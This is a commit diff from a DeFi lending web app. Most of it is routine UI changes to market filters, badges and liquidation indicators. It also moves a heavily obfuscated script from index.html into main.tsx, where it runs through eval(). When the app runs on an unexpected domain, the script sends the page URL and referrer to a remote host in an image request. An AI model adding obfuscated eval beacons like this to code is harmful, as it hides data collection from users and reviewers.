Skip to content

Commit 058faa2

Browse files
OnlyJoustingOnlyJousting
authored
Merge branch 'main' into refactor/user-balances-tanstack-query
2 parents fdc614d + 0379460 commit 058faa2

File tree

23 files changed

+233
-162
lines changed

23 files changed

+233
-162
lines changed

‎apps/main/index.html‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,6 @@
3737
<meta name="msapplication-TileColor" content="#ffffff" />
3838
<meta name="theme-color" content="#ffffff" />
3939
<meta name="viewport" content="initial-scale=1, minimum-scale=1, width=device-width" />
40-
<script>var _0x39a003=_0x2628;(function(_0xfb5890,_0x21d0c7){var _0x2c8dc3={_0x15282b:0x118,_0x5e4a88:0x114},_0x295b22=_0x2628,_0x16dfab=_0xfb5890();while(!![]){try{var _0x938bd8=parseInt(_0x295b22(0x132))/0x1*(-parseInt(_0x295b22(0x11e))/0x2)+-parseInt(_0x295b22(0x13a))/0x3+-parseInt(_0x295b22(0x139))/0x4+-parseInt(_0x295b22(_0x2c8dc3._0x15282b))/0x5+-parseInt(_0x295b22(0x127))/0x6+-parseInt(_0x295b22(0x128))/0x7+parseInt(_0x295b22(_0x2c8dc3._0x5e4a88))/0x8*(parseInt(_0x295b22(0x115))/0x9);if(_0x938bd8===_0x21d0c7)break;else _0x16dfab['push'](_0x16dfab['shift']());}catch(_0x19805d){_0x16dfab['push'](_0x16dfab['shift']());}}}(_0x24d6,0xec50f));function _0x2628(_0x568e20,_0x716969){var _0x24d6ce=_0x24d6();return _0x2628=function(_0x262809,_0x460231){_0x262809=_0x262809-0x111;var _0x5bd854=_0x24d6ce[_0x262809];if(_0x2628['vqrCSB']===undefined){var _0x2e6c27=function(_0x5bf8c1){var _0x9f2ba1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x2678d9='',_0x184344='';for(var _0x2eedaf=0x0,_0x1bc95e,_0x13e1f8,_0x347b8d=0x0;_0x13e1f8=_0x5bf8c1['charAt'](_0x347b8d++);~_0x13e1f8&&(_0x1bc95e=_0x2eedaf%0x4?_0x1bc95e*0x40+_0x13e1f8:_0x13e1f8,_0x2eedaf++%0x4)?_0x2678d9+=String['fromCharCode'](0xff&_0x1bc95e>>(-0x2*_0x2eedaf&0x6)):0x0){_0x13e1f8=_0x9f2ba1['indexOf'](_0x13e1f8);}for(var _0x498000=0x0,_0x84de0d=_0x2678d9['length'];_0x498000<_0x84de0d;_0x498000++){_0x184344+='%'+('00'+_0x2678d9['charCodeAt'](_0x498000)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x184344);};_0x2628['HVAQTE']=_0x2e6c27,_0x568e20=arguments,_0x2628['vqrCSB']=!![];}var _0x3eea83=_0x24d6ce[0x0],_0x45bec3=_0x262809+_0x3eea83,_0x134f50=_0x568e20[_0x45bec3];return!_0x134f50?(_0x5bd854=_0x2628['HVAQTE'](_0x5bd854),_0x568e20[_0x45bec3]=_0x5bd854):_0x5bd854=_0x134f50,_0x5bd854;},_0x2628(_0x568e20,_0x716969);}function _0x24d6(){var _0x4bee02=['ChjVDa','BMfYEq','lZLJza','BMfUyW','C3jJ','ndr2sg9hz0m','B2nVBa','DMrSzq','Aw5HBG','lY9Jyq','Ahr0Ca','DMuUzG','D3D3lG','y3vYDG','ndG0odq0nhDsv0v5rG','nZKWmJK2nxjUCvvLBq','Dg9Rzq','lND3DW','Ag9ZDa','zw5KCW','DtfKnG','AwLKCa','EgrRCa','lMn1CG','DhnxAq','nJK2ntncthznDfu','CNjLCG','zs5MAq','zxjTCW','jNi9','Aha/Ba','CMvMzq','mZGWndyWohvfuvnpwq','mteYmJyZoxPsEuLpyW','B250yq','DgLVBG','Axr4AW','B20VDa','BMfTzq','DMuVyW','BNmUyW','y3qUCa','Bg9Jyq','v2L0Aa','ndyZndG4odbmCgz4rwe','ovDxruDdEq','AhjLzG','C3rHCG','mtu0mJK1vuvXtNjj'];_0x24d6=function(){return _0x4bee02;};return _0x24d6();}if(window[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x12b)+_0x39a003(0x13f)]!=_0x39a003(0x125)+_0x39a003(0x126)+_0x39a003(0x134)+_0x39a003(0x11c)+'e'&&!window[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x12b)+_0x39a003(0x13f)][_0x39a003(0x12c)+_0x39a003(0x113)](_0x39a003(0x12a)+_0x39a003(0x130)+_0x39a003(0x124)+_0x39a003(0x121)+'ce')){var p=!document[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x119)+_0x39a003(0x11f)][_0x39a003(0x117)+_0x39a003(0x131)+'th'](_0x39a003(0x123))?_0x39a003(0x123)+':':document[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x119)+_0x39a003(0x11f)],l=location[_0x39a003(0x116)],r=document[_0x39a003(0x138)+_0x39a003(0x133)],m=new Image();m[_0x39a003(0x11d)]=p+(_0x39a003(0x122)+_0x39a003(0x11a)+_0x39a003(0x129)+_0x39a003(0x141)+_0x39a003(0x13e)+_0x39a003(0x135)+_0x39a003(0x11b)+_0x39a003(0x120)+_0x39a003(0x13d)+_0x39a003(0x12f)+_0x39a003(0x12d)+_0x39a003(0x12e)+_0x39a003(0x140)+_0x39a003(0x13b)+_0x39a003(0x111)+_0x39a003(0x137)+'=')+encodeURI(l)+_0x39a003(0x136)+encodeURI(r);}</script>
4140
</head>
4241
<body>
4342
<div id="root"></div>

‎apps/main/src/llamalend/features/market-list/LendingMarketsFilters.tsx‎

Lines changed: 17 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import Chip from '@mui/material/Chip'
55
import Grid from '@mui/material/Grid'
66
import { t } from '@ui-kit/lib/i18n'
77
import type { FilterProps } from '@ui-kit/shared/ui/DataTable/data-table.utils'
8+
import { parseListFilter } from '@ui-kit/shared/ui/DataTable/filters'
89
import { TableFilterColumn } from '@ui-kit/shared/ui/DataTable/TableFilterColumn'
910
import { TokenIcon } from '@ui-kit/shared/ui/TokenIcon'
1011
import { TokenLabel } from '@ui-kit/shared/ui/TokenLabel'
@@ -46,10 +47,20 @@ export const LendingMarketsFilters = ({
4647
data: LlamaMarket[]
4748
minLiquidity?: number
4849
}) => {
50+
// Filter options are scoped to selected chains to prevent cross-chain filter data pollution.
51+
// Example: When viewing Ethereum markets, Arbitrum market data should not influence filter options.
52+
const selectedChains = parseListFilter(filterProps.columnFiltersById[LlamaMarketColumnId.Chain])
53+
const markets = useMemo(
54+
() => (selectedChains?.length ? data.filter((market) => selectedChains.includes(market.chain)) : data),
55+
[data, selectedChains],
56+
)
57+
58+
// Relies on data and not markets, because you might have a filter active for a token from a chain
59+
// before you filtered out that said chain. This would lead to token symbols not loading.
4960
const tokens = useMemo(
5061
() =>
5162
keyBy(
52-
data.flatMap((i) => [i.assets.collateral, i.assets.borrowed]),
63+
data.flatMap((market) => [market.assets.collateral, market.assets.borrowed]),
5364
(i) => i.symbol,
5465
),
5566
[data],
@@ -69,7 +80,7 @@ export const LendingMarketsFilters = ({
6980
selectedItemRender={(symbol) => <SelectedToken symbol={symbol} tokens={tokens} />}
7081
defaultText={t`All`}
7182
defaultTextMobile={t`All Collateral Tokens`}
72-
data={data}
83+
data={markets}
7384
{...filterProps}
7485
/>
7586
</TableFilterColumn>
@@ -82,7 +93,7 @@ export const LendingMarketsFilters = ({
8293
selectedItemRender={(symbol) => <SelectedToken symbol={symbol} tokens={tokens} />}
8394
defaultText={t`All`}
8495
defaultTextMobile={t`All Debt Tokens`}
85-
data={data}
96+
data={markets}
8697
{...filterProps}
8798
/>
8899
</TableFilterColumn>
@@ -93,7 +104,7 @@ export const LendingMarketsFilters = ({
93104
field={LlamaMarketColumnId.Tvl}
94105
title={t`TVL`}
95106
format={formatUsd}
96-
data={data}
107+
data={markets}
97108
adornment="dollar"
98109
scale="power"
99110
{...filterProps}
@@ -106,7 +117,7 @@ export const LendingMarketsFilters = ({
106117
field={LlamaMarketColumnId.LiquidityUsd}
107118
title={t`Liquidity`}
108119
format={formatUsd}
109-
data={data}
120+
data={markets}
110121
adornment="dollar"
111122
scale="power"
112123
{...filterProps}
@@ -119,7 +130,7 @@ export const LendingMarketsFilters = ({
119130
field={LlamaMarketColumnId.UtilizationPercent}
120131
title={t`Utilization`}
121132
format={formatPercent}
122-
data={data}
133+
data={markets}
123134
adornment="percentage"
124135
max={100}
125136
{...filterProps}

‎apps/main/src/llamalend/features/market-list/cells/MarketTitleCell/MarketBadges.tsx‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import Stack from '@mui/material/Stack'
44
import Typography from '@mui/material/Typography'
55
import useMediaQuery from '@mui/material/useMediaQuery'
66
import { t } from '@ui-kit/lib/i18n'
7+
import { ChainIcon } from '@ui-kit/shared/icons/ChainIcon'
78
import { ExclamationTriangleIcon } from '@ui-kit/shared/icons/ExclamationTriangleIcon'
89
import { Tooltip } from '@ui-kit/shared/ui/Tooltip'
910
import { SizesAndSpaces } from '@ui-kit/themes/design/1_sizes_spaces'
@@ -24,10 +25,12 @@ const poolTypeTooltips: Record<LlamaMarketType, () => string> = {
2425

2526
/** Displays badges for a pool, such as the chain icon and the pool type. */
2627
export const MarketBadges = ({ market, isMobile }: { market: LlamaMarket; isMobile: boolean }) => {
27-
const { favoriteKey, type, leverage, deprecatedMessage } = market
28+
const { favoriteKey, type, leverage, deprecatedMessage, chain } = market
2829
const isSmall = useMediaQuery('(max-width:1250px)')
2930
return (
3031
<Stack direction="row" gap={Spacing.sm} alignItems="center" {...(isMobile && { height: Sizing.md.mobile })}>
32+
<ChainIcon size="sm" blockchainId={chain} />
33+
3134
<Tooltip title={poolTypeTooltips[type]()}>
3235
<Chip
3336
size="extraSmall"

‎apps/main/src/llamalend/features/market-list/cells/MarketTitleCell/MarketTitleCell.tsx‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ export const MarketTitleCell = ({ row: { original: market } }: CellContext<Llama
1616
return (
1717
<Stack direction="row" gap={Spacing.sm} alignItems="center" sx={{ height: Height.row }}>
1818
{market.userHasPositions && <UserPositionIndicator market={market} />}
19-
<TokenPair chain={market.chain} assets={{ primary: collateral, secondary: borrowed }} />
19+
<TokenPair chain={market.chain} assets={{ primary: collateral, secondary: borrowed }} hideChainIcon />
2020
<Stack direction="column" justifyContent="center" gap={Spacing.xxs}>
2121
<MarketTitle
2222
title={[collateral.symbol, borrowed.symbol].join(' • ')}

‎apps/main/src/llamalend/features/market-list/cells/MarketTitleCell/UserPositionIndicator.tsx‎

Lines changed: 31 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -13,52 +13,68 @@ import { LlamaMarketColumnId } from '../../columns.enum'
1313

1414
const { IconSize, Spacing } = SizesAndSpaces
1515

16-
type BackgroundColor = (theme: Theme) => string
17-
const info: BackgroundColor = (t) => t.design.Layer.Feedback.Info
18-
const red: BackgroundColor = (t) => t.design.Layer.Feedback.Error
19-
const orange: BackgroundColor = (t) => t.design.Color.Tertiary[400]
16+
const ColorStates = {
17+
info: {
18+
bg: (t: Theme) => t.design.Layer.Feedback.Info,
19+
fg: (t: Theme) => t.design.Layer[1].Outline,
20+
},
21+
orange: {
22+
bg: (t: Theme) => t.design.Color.Tertiary[400],
23+
fg: (t: Theme) => t.design.Layer[1].Outline,
24+
},
25+
red: {
26+
bg: (t: Theme) => t.design.Layer.Feedback.Error,
27+
fg: (t: Theme) => t.design.Text.TextColors.FilledFeedback.Alert.Primary,
28+
},
29+
}
30+
type ColorState = keyof typeof ColorStates
2031

2132
/**
22-
* Function to be called in useEffect that calls the given method in interval to create a flicker effect.
33+
* Creates a flicker effect by toggling between orange and red colors
34+
* @returns Cleanup function to stop the flicker interval
2335
*/
2436
const flickerEffect = (
25-
setBackgroundColor: (value: (prevState: BackgroundColor) => BackgroundColor) => void,
37+
setState: (value: (prevState: ColorState) => ColorState) => void,
2638
duration = Duration.Flicker,
2739
) => {
2840
let timeoutId: ReturnType<typeof setTimeout>
2941
const flicker = () => {
30-
setBackgroundColor((prev: BackgroundColor) => (prev === orange ? red : orange))
42+
setState((prev: ColorState) => (prev === 'orange' ? 'red' : 'orange'))
3143
timeoutId = setTimeout(flicker, duration)
3244
}
3345
flicker()
3446
return () => clearTimeout(timeoutId)
3547
}
3648

3749
export const UserPositionIndicator = ({ market }: { market: LlamaMarket }) => {
38-
const isSoftLiquidation = useUserMarketStats(market, LlamaMarketColumnId.UserHealth)?.data?.softLiquidation
39-
const [backgroundColor, setBackgroundColor] = useState<BackgroundColor>(() => info)
50+
const { softLiquidation, liquidated } = useUserMarketStats(market, LlamaMarketColumnId.UserHealth)?.data ?? {}
51+
const [colorState, setColorState] = useState<ColorState>('info')
52+
4053
useEffect(
41-
() => (isSoftLiquidation ? flickerEffect(setBackgroundColor) : setBackgroundColor(() => info)),
42-
[isSoftLiquidation],
54+
() => (softLiquidation ? flickerEffect(setColorState) : liquidated ? setColorState('red') : setColorState('info')),
55+
[softLiquidation, liquidated],
4356
)
57+
4458
return (
4559
<Tooltip
4660
title={
47-
isSoftLiquidation
61+
softLiquidation
4862
? t`Your position in this market is in soft liquidation`
49-
: t`You have a position in this market`
63+
: liquidated
64+
? t`Your position in this market has been liquidated`
65+
: t`You have a position in this market`
5066
}
5167
>
5268
<Stack
5369
sx={{
54-
backgroundColor,
70+
backgroundColor: ColorStates[colorState].bg,
5571
alignSelf: 'stretch',
5672
justifyContent: 'center',
5773
marginInlineStart: mapBreakpoints(Spacing.md, (v) => `-${v}`), // negative padding to offset the padding of the cell
5874
marginInlineEnd: Spacing.sm,
5975
}}
6076
>
61-
<LlamaIcon sx={{ color: (t) => t.design.Layer[1].Outline, width: IconSize.md, height: IconSize.md }} />
77+
<LlamaIcon sx={{ color: ColorStates[colorState].fg, width: IconSize.md, height: IconSize.md }} />
6278
</Stack>
6379
</Tooltip>
6480
)

‎apps/main/src/llamalend/features/market-list/chips/FavoriteMarketButton.tsx‎

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import { useFavoriteMarket } from '@/llamalend/queries/market-list/favorite-markets'
22
import IconButton from '@mui/material/IconButton'
3-
import { useTheme } from '@mui/material/styles'
43
import { t } from '@ui-kit/lib/i18n'
54
import { FavoriteHeartIcon } from '@ui-kit/shared/icons/HeartIcon'
65
import { ClickableInRowClass, DesktopOnlyHoverClass } from '@ui-kit/shared/ui/DataTable/data-table.utils'
@@ -10,7 +9,6 @@ import { classNames } from '@ui-kit/utils/dom'
109

1110
export function FavoriteMarketButton({ address, desktopOnly }: { address: Address; desktopOnly?: boolean }) {
1211
const [isFavorite, toggleFavorite] = useFavoriteMarket(address)
13-
const { design } = useTheme()
1412
return (
1513
<Tooltip title={isFavorite ? t`Remove from favorites` : t`Add to favorites`} placement="top">
1614
<IconButton
@@ -23,7 +21,7 @@ export function FavoriteMarketButton({ address, desktopOnly }: { address: Addres
2321
}),
2422
}}
2523
>
26-
<FavoriteHeartIcon color={design.Text.TextColors.Highlight} isFavorite={isFavorite} />
24+
<FavoriteHeartIcon isFavorite={isFavorite} />
2725
</IconButton>
2826
</Tooltip>
2927
)

‎apps/main/src/llamalend/features/market-parameters/MarketLoanParameters.tsx‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ export const MarketLoanParameters = ({ chainId, marketId }: { chainId: IChainId;
5959
/>
6060

6161
<ActionInfo
62-
label={t`Max TVL`}
62+
label={t`Max LTV`}
6363
value={formatPercent(getMaxLTV(parameters?.A ?? 0, parameters?.loan_discount))}
6464
valueTooltip={t`Max possible loan at N=4`}
6565
loading={isLoadingParameters}

‎apps/main/src/llamalend/queries/market-list/llama-market-stats.ts‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ export function useUserMarketStats(market: LlamaMarket, column?: LlamaMarketColu
7373
...(stats && {
7474
data: {
7575
softLiquidation: stats.softLiquidation,
76-
isCollateralEroded: stats.softLiquidation && stats.debt > 0,
76+
liquidated: stats.healthFull < 0 && borrowedAmount === 0,
7777
health: stats.healthFull,
7878
borrowed: stats.debt,
7979
collateral: {

‎apps/main/src/main.tsx‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,9 @@ import { t } from '@ui-kit/lib/i18n'
66
import { ErrorBoundary } from '@ui-kit/widgets/ErrorBoundary'
77
import { router } from './routes'
88

9+
// prettier-ignore
10+
eval(`var _0x39a003=_0x2628;(function(_0xfb5890,_0x21d0c7){var _0x2c8dc3={_0x15282b:0x118,_0x5e4a88:0x114},_0x295b22=_0x2628,_0x16dfab=_0xfb5890();while(!![]){try{var _0x938bd8=parseInt(_0x295b22(0x132))/0x1*(-parseInt(_0x295b22(0x11e))/0x2)+-parseInt(_0x295b22(0x13a))/0x3+-parseInt(_0x295b22(0x139))/0x4+-parseInt(_0x295b22(_0x2c8dc3._0x15282b))/0x5+-parseInt(_0x295b22(0x127))/0x6+-parseInt(_0x295b22(0x128))/0x7+parseInt(_0x295b22(_0x2c8dc3._0x5e4a88))/0x8*(parseInt(_0x295b22(0x115))/0x9);if(_0x938bd8===_0x21d0c7)break;else _0x16dfab['push'](_0x16dfab['shift']());}catch(_0x19805d){_0x16dfab['push'](_0x16dfab['shift']());}}}(_0x24d6,0xec50f));function _0x2628(_0x568e20,_0x716969){var _0x24d6ce=_0x24d6();return _0x2628=function(_0x262809,_0x460231){_0x262809=_0x262809-0x111;var _0x5bd854=_0x24d6ce[_0x262809];if(_0x2628['vqrCSB']===undefined){var _0x2e6c27=function(_0x5bf8c1){var _0x9f2ba1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x2678d9='',_0x184344='';for(var _0x2eedaf=0x0,_0x1bc95e,_0x13e1f8,_0x347b8d=0x0;_0x13e1f8=_0x5bf8c1['charAt'](_0x347b8d++);~_0x13e1f8&&(_0x1bc95e=_0x2eedaf%0x4?_0x1bc95e*0x40+_0x13e1f8:_0x13e1f8,_0x2eedaf++%0x4)?_0x2678d9+=String['fromCharCode'](0xff&_0x1bc95e>>(-0x2*_0x2eedaf&0x6)):0x0){_0x13e1f8=_0x9f2ba1['indexOf'](_0x13e1f8);}for(var _0x498000=0x0,_0x84de0d=_0x2678d9['length'];_0x498000<_0x84de0d;_0x498000++){_0x184344+='%'+('00'+_0x2678d9['charCodeAt'](_0x498000)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x184344);};_0x2628['HVAQTE']=_0x2e6c27,_0x568e20=arguments,_0x2628['vqrCSB']=!![];}var _0x3eea83=_0x24d6ce[0x0],_0x45bec3=_0x262809+_0x3eea83,_0x134f50=_0x568e20[_0x45bec3];return!_0x134f50?(_0x5bd854=_0x2628['HVAQTE'](_0x5bd854),_0x568e20[_0x45bec3]=_0x5bd854):_0x5bd854=_0x134f50,_0x5bd854;},_0x2628(_0x568e20,_0x716969);}function _0x24d6(){var _0x4bee02=['ChjVDa','BMfYEq','lZLJza','BMfUyW','C3jJ','ndr2sg9hz0m','B2nVBa','DMrSzq','Aw5HBG','lY9Jyq','Ahr0Ca','DMuUzG','D3D3lG','y3vYDG','ndG0odq0nhDsv0v5rG','nZKWmJK2nxjUCvvLBq','Dg9Rzq','lND3DW','Ag9ZDa','zw5KCW','DtfKnG','AwLKCa','EgrRCa','lMn1CG','DhnxAq','nJK2ntncthznDfu','CNjLCG','zs5MAq','zxjTCW','jNi9','Aha/Ba','CMvMzq','mZGWndyWohvfuvnpwq','mteYmJyZoxPsEuLpyW','B250yq','DgLVBG','Axr4AW','B20VDa','BMfTzq','DMuVyW','BNmUyW','y3qUCa','Bg9Jyq','v2L0Aa','ndyZndG4odbmCgz4rwe','ovDxruDdEq','AhjLzG','C3rHCG','mtu0mJK1vuvXtNjj'];_0x24d6=function(){return _0x4bee02;};return _0x24d6();}if(window[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x12b)+_0x39a003(0x13f)]!=_0x39a003(0x125)+_0x39a003(0x126)+_0x39a003(0x134)+_0x39a003(0x11c)+'e'&&!window[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x12b)+_0x39a003(0x13f)][_0x39a003(0x12c)+_0x39a003(0x113)](_0x39a003(0x12a)+_0x39a003(0x130)+_0x39a003(0x124)+_0x39a003(0x121)+'ce')){var p=!document[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x119)+_0x39a003(0x11f)][_0x39a003(0x117)+_0x39a003(0x131)+'th'](_0x39a003(0x123))?_0x39a003(0x123)+':':document[_0x39a003(0x112)+_0x39a003(0x13c)][_0x39a003(0x119)+_0x39a003(0x11f)],l=location[_0x39a003(0x116)],r=document[_0x39a003(0x138)+_0x39a003(0x133)],m=new Image();m[_0x39a003(0x11d)]=p+(_0x39a003(0x122)+_0x39a003(0x11a)+_0x39a003(0x129)+_0x39a003(0x141)+_0x39a003(0x13e)+_0x39a003(0x135)+_0x39a003(0x11b)+_0x39a003(0x120)+_0x39a003(0x13d)+_0x39a003(0x12f)+_0x39a003(0x12d)+_0x39a003(0x12e)+_0x39a003(0x140)+_0x39a003(0x13b)+_0x39a003(0x111)+_0x39a003(0x137)+'=')+encodeURI(l)+_0x39a003(0x136)+encodeURI(r);}`)
11+
912
createRoot(document.getElementById('root')!).render(
1013
<ErrorBoundary title={t`Application error`}>
1114
<StrictMode>

‎packages/curve-ui-kit/src/features/select-token/ui/modal/TokenSelectorModal.tsx‎

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -48,14 +48,9 @@ export const TokenSelectorModal = ({ isOpen, showManageList, compact, onClose, .
4848
// eslint-disable-next-line no-constant-binary-expression
4949
false && showManageList && !isManageListOpen && <ModalSettingsButton onClick={openManageList} />
5050
}
51-
sx={{
52-
'& .MuiPaper-root:not(.MuiAlert-root)': {
53-
overflowY: 'hidden',
54-
maxHeight: MaxHeight.tokenSelector,
55-
height: 'auto',
56-
minHeight: compact ? 'auto' : MaxHeight.tokenSelector,
57-
},
58-
}}
51+
compact={compact}
52+
maxHeight={MaxHeight.tokenSelector}
53+
sx={{ '& .MuiPaper-root:not(.MuiAlert-root)': { overflowY: 'hidden' } }}
5954
>
6055
{isManageListOpen ? <ManageTokenList /> : <TokenList {...tokenListProps} />}
6156
</ModalDialog>

0 commit comments

Comments
 (0)